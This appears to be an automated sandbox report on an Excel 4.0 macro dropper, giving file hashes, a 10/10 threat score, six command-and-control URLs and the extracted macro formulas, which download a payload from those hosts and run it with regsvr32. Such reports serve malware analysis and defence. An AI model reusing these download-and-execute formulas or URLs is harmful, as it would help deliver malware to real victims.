General

  • Target

    be02fdc06fa8100749a51b4d038671042b4a4165cedab51b56857343f34de011

  • Size

    40KB

  • Sample

    241119-wkxzzstqcl

  • MD5

    dd3d6948d2e127f0a2fb4cfc3329869a

  • SHA1

    2ce8a7ea745ffcf503e51dd4115638718077960d

  • SHA256

    be02fdc06fa8100749a51b4d038671042b4a4165cedab51b56857343f34de011

  • SHA512

    bd396874bcb3f70408cc2a8d22e757d931680313c81742fdaa3aaa2d7f539286d56b59773624880e64f71874150cb473df5336602e43464fe0bd5409390a0f77

  • SSDEEP

    768:Otby3nCsqi1O3mnOzyKfcrND59V+L9Rw4eWrXcTqy0y3:2bunC5iymqylND59V4jwmXc2Xy3

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://foroviviendaparaguay.com/wp-admin/hx8U6XMffnkv8HI2Oig/

http://en.pachammer.com/wp-content/vIG/

http://ghsjalkherabsr.com/oz03n/6XeYLjFXcFE/

http://ghsmadonabsr.com/wp-includes/Of4kQNCp2WLy0F4B/

http://www.aacitygroup.com/wp-content/EkY9/

https://theoutsourcedaccountant.com/images/nFikTQmP/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://foroviviendaparaguay.com/wp-admin/hx8U6XMffnkv8HI2Oig/","..\xda.ocx",0,0) =IF('EFEGVE'!F12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://en.pachammer.com/wp-content/vIG/","..\xda.ocx",0,0)) =IF('EFEGVE'!F14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ghsjalkherabsr.com/oz03n/6XeYLjFXcFE/","..\xda.ocx",0,0)) =IF('EFEGVE'!F16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ghsmadonabsr.com/wp-includes/Of4kQNCp2WLy0F4B/","..\xda.ocx",0,0)) =IF('EFEGVE'!F18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.aacitygroup.com/wp-content/EkY9/","..\xda.ocx",0,0)) =IF('EFEGVE'!F20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://theoutsourcedaccountant.com/images/nFikTQmP/","..\xda.ocx",0,0)) =IF('EFEGVE'!F22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xda.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://foroviviendaparaguay.com/wp-admin/hx8U6XMffnkv8HI2Oig/

Targets

    • Target

      be02fdc06fa8100749a51b4d038671042b4a4165cedab51b56857343f34de011

    • Size

      40KB

    • MD5

      dd3d6948d2e127f0a2fb4cfc3329869a

    • SHA1

      2ce8a7ea745ffcf503e51dd4115638718077960d

    • SHA256

      be02fdc06fa8100749a51b4d038671042b4a4165cedab51b56857343f34de011

    • SHA512

      bd396874bcb3f70408cc2a8d22e757d931680313c81742fdaa3aaa2d7f539286d56b59773624880e64f71874150cb473df5336602e43464fe0bd5409390a0f77

    • SSDEEP

      768:Otby3nCsqi1O3mnOzyKfcrND59V+L9Rw4eWrXcTqy0y3:2bunC5iymqylND59V4jwmXc2Xy3

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks